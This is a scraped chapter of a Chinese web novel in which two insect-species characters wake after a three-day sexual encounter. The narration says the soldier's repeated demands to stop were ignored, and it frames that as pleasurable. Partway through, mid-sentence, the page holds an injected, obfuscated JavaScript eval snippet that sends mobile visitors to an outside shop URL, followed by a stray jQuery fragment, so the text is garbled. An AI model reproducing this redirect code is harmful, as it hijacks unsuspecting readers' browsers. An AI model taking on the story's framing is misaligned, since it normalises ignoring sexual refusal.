文趣网 > 都市小说 > 囚雌 > 4. 第 4 章
    清晨。

    阳光透过窗帘缝隙洒进房间,映出一道斜斜的光束,在熟睡着的雌虫脸上落下一块光斑。

    银发军雌紧紧闭着眼,趴在床上,锋利的眉眼间带着掩不住的浓浓疲惫。

    像是被光线吵到,雌虫皱起眉,眼皮开始微微颤动。

    在被吵醒的前一秒,一只修长白皙的手伸过来,拉上了窗帘。

    室内恢复昏暗,银发雌虫慢慢恢复平静,再度沉沉睡去。

    希梵利亚放下手,纤浓的睫毛低垂着,指尖在虚空轻点,处理光脑上的信息。

    庆功宴结束后,惯例会放三天假,用来给互相看对眼的雄虫雌虫们充足的时间深入交流。

    以往希梵利亚宴会当晚就会回圣塔,不在外面逗留,但这一次,他三天都没有离开这间屋子。

    破天荒头一次在外留宿,显然让其他虫很是震惊,以至于他光脑里现在塞满了消息,圣塔的老师、好友们纷纷发来问候,还有其他杂七杂八的,随手一划拉都看不到底。

    挑了几条比较重要的回复,希梵利亚放下光脑,朝床上看了眼。

    似乎有点过分了。

    只见宽大的床铺上,银发军雌沉沉酣睡,只有腰间盖了一角被子,大片深蜜色的皮肤都露在外面。

    漂亮的肌肉高低起伏,肉眼可见的充满强悍爆发力,如今却布满了暧昧的牙印和指痕,腰背区域尤为突出。

    希梵利亚轻轻摸了摸下巴,无声沉吟。

    雄虫x欲旺盛他是知道的,但以往从没当过一回事,等级越高x欲越强这个定律似乎从没在他身上生效过。

    ——直到这三天。

    他狂热到自己都惊讶的地步,充斥身体和大脑的只有继续、再继续,哪怕雌虫疯狂怒骂,挣扎怒吼到嗓子都喊哑了,也还是不想停。

    亢奋到可怕。

    但不得不说,很愉快。

    嘴角微微弯起,希梵利亚凝视着床上的雌虫,不期然回忆起对方颤抖崩溃,银眸都涣散的样子。

    明明被深度标记到全身都在控制不住哆嗦了,却依然满是凶狠地瞪着他,不肯屈服。

    唇角的笑意变得兴味盎然,黑发雄虫站在床边,仿佛一道无声无息的幽影,一眨不眨地凝视着床上的雌虫。

    那双鎏金般的眼眸一点点爬过裸露在外的脊背,把那些深色光滑的皮肤一寸一寸看过一遍,直到眼睛有些干涩发酸,才缓慢眨了一下。

    昏睡中的萨卡斯打了个冷颤,梦里仿佛被什么黏腻的东西从头到脚舔舐了一遍,隐忍地皱起眉。

    盯着那些遍布躯体的暧昧印记,希梵利亚的眸光闪了闪。

    以军雌强大的自愈力,这些痕迹最多只能保留半天,就会全部消失。

    要是能再留久一点就好了。

    让这只雌虫,永远带着属于他的印记……

    黑暗中,雄虫的眸光变得幽深。

    光脑滴滴响了两声,希梵利亚眸中的晦暗散去,垂眸看了眼弹出的消息。

    【兰尼洛斯:希梵利亚,你在哪里啊?还没回来吗??那天明明说好我去帮你找雌虫的,你怎么可以自己先走,还到现在都不回来!你不会是背着我自己在外面偷吃吧?!过分!!!!!#气鼓鼓瞪】

    消息悬浮两秒,自动消失,希梵利亚看了眼屏幕上的时间。

    11:34

    确实不早了。

    他走到床头的陈列柜前,从中挑出一条全新的隐形项圈,戴在脖子上。

    三天过去,他胸口的伤已经结痂,不会泄露信息素,也有衣服挡住,但脖子上的却需要遮掩一下,以免被发现。

    雌虫伤害雄虫是重罪,这么有意思的军雌,他还不想在监狱看到对方。

    接触到皮肤,黑色项圈自动贴合,变成和皮肤同样的颜色,隐匿无踪。

    对着卫生间的镜子整理了一下,希梵利亚走出房间,离开了这里。

    ……

    从酒店出来,希梵利亚来到飞船停泊区。

    银蓝色的飞艇静静停在贵宾位置,机身充满了流线型的精巧美感,外置感应装置察觉到他的靠近,舱门自动滑开,电梯落下。

    希梵利亚踩着电梯进入舰仓,淡雅的灯光依次点亮,轻柔的钢琴曲随之响起,静静流淌在空间之中。

    “欢迎回来,希梵利亚阁下。”

    “维蒂,回圣塔。”

    “好的。”

    飞艇平稳启动,希梵利亚在沙发上落座,点开光脑。

    军部和酒店方大概都没想过会有雄虫用到的情况,陈列柜里准备的隐形项圈是最基本的款式,简单结实,但用料粗糙,给皮糙肉厚的军雌没什么,但养尊处优的雄虫戴起来就很难受了。

    只是在皮肤上贴合了这么一会儿,希梵利亚就觉得那一片都痒了起来。

    他把项圈摘下来,拿在手里,从商品页面挑选了几条,款式符合他的审美,当然,价格也很昂贵。

    放下光脑,维蒂的声音适时响起:

    “检测到您身上有未愈合的伤口,是否需要提前准备治疗舱,等您回去使用?”

    离回到圣塔还有一段时间,现在开始加入治疗液预热,回去刚好就能泡上。

    “准备吧。取消使用记录,我不想有其他虫知道。”

    “好的。”

    淡淡的音乐飘荡在耳边,舷窗外,一艘艘飞船在半空中掠过,纵横交错的空中滑轨盘桓在高耸的建筑间,犹如一条条蜿蜒曲折的巨龙。

    希梵利亚靠坐在沙发上,目光漫不经心地扫向窗外,一道道流光不断掠过,却不能在那双熔金眼眸中留下一丝痕迹。

    他支起下巴,望着窗外的天空,唇角微微勾了一下。

    那只雌虫,现在应该已经醒了吧?

    ……

    萨卡斯的确已经醒了。

    他一醒来,就飞快从床上跳了下去,落地时腿一软,差点直接跪下去,好险稳住了。

    “嘶——”

    银发军雌倒吸口气,捂着腰,表情微微扭曲。

    他咯嘣一声咬住后槽牙,目光充满杀气地巡视房间,想要找到那只该死的雄虫身影。

    但是没有。

    走了?

    萨卡斯杀气腾腾地转了一圈,房间很大,除了卧室还有客厅、衣帽间、卫生间等等,但很敞亮,没什么能躲藏的地方。

    整个房间里,也只有他一只虫的呼吸声。

    真的走了。

    该死的雄虫,跑得倒快!

    萨卡斯一拳砸在桌上,大理石岩板不堪重负,咣当一声从中央裂成两半,晃了晃,顽强地挺住了,没从支腿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926194|213536||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上摔下去。

    他恼恨地咬牙,但下一秒,身体忽然一僵。

    那只该死的雄虫,说是帮他度过发晴期,但实际上三天里,早在第一天他发晴期需要的信息素就已经够够的了。

    后面两天,任他喊了多少次停下,都没得到该有的休息,反而是肚子里越来越涨,最后实在撑不住,一头栽到床上,昏睡了过去。

    萨卡斯也不想示弱,但雌虫在被标记时,生理机能会被高度唤起,体力消耗就是比雄虫快,根本不受意志力控制,他想撑也撑不住。

    但这不是重点,重点是他昏睡后就什么都不知道了,刚刚醒来也只顾着戒备恼怒,没管撑得要命的肚子。

    以至于现在一用力,那本来就满到快溢出来的,就真的……

    ……出来了。

    “……”

    感受着慢慢蜿蜒往下的湿漉漉,银发军雌僵硬地站在原地,脸色黑红变幻,最终狠狠一拳,砸在了桌面上!

    该死的雄虫!

    他一定要杀了他!!!

    ……

    在客厅里留下一堆大理石碎砖后,萨卡斯沉着脸进入卫生间洗澡。

    清凉的水流倾泻而下,从头顶一路冲刷下去,萨卡斯被怒火冲击的大脑也稍微冷静了点。

    刚刚他看了,他的虫纹没变色,那只雄虫并没有永久标记他,虽然时间很长,还进了他的生殖腔,但也只到了这一步。

    深度标记,不是永久。

    这无疑是一件好事。

    不是永久标记,也就意味着不会产生信息素排斥,他还能用抑制剂,而不是只能当狗一样跪下来,去求那只雄虫给他信息素。

    要真是那样,他还不如直接去死!

    当然,死前他也一定要开着星舰去炸圣塔,拉那只雄虫垫背!

    把全身冲了一遍,萨卡斯关掉水,抬起手臂闻了闻。

    全是玫瑰味,就像是身体内部都被泡透了,由内而外散发出来的。

    难闻死了。

    他嫌弃地打开花洒,又抹了一遍沐浴露。

    顺利尝试了一下能不能手动把多余的信息素排出来。

    尝试了半个小时,勉强成功,但因为没有经验,把自己弄得心浮气躁,差点暴躁地拆墙。

    锤了一下墙发泄心里的恼火,银发军雌一拐一拐,脸色十分不高兴地走出卫生间。

    他抓起床边的军服穿上,一张卡片忽然从衣服里掉了出来。

    “?什么东西?”

    是张便笺,烫金压花的纸面,极其考究的花纹,还散发着淡淡的香气。

    便笺左下角印着一个金色的玫瑰印章,中间则写着一行优雅的花体字——

    【这几天过得很愉快,期待下次见面^^】

    “……”萨卡斯盯着这行字。

    他看了看旁边的床。

    床上一片凌乱,床单被罩皱皱巴巴,乱七八糟堆成一团,被信息素和其他液体气味泡了个透,还染着一片血。

    再看看自己的右手。

    没记错的话,就是这只手半虫化,袭击了雄虫。

    很愉快?

    银发军雌表情怪异,嫌弃中混合着鄙夷。

    被他一爪子连心脏都快挠破了,还愉快?

    那只雄虫……该不是个M?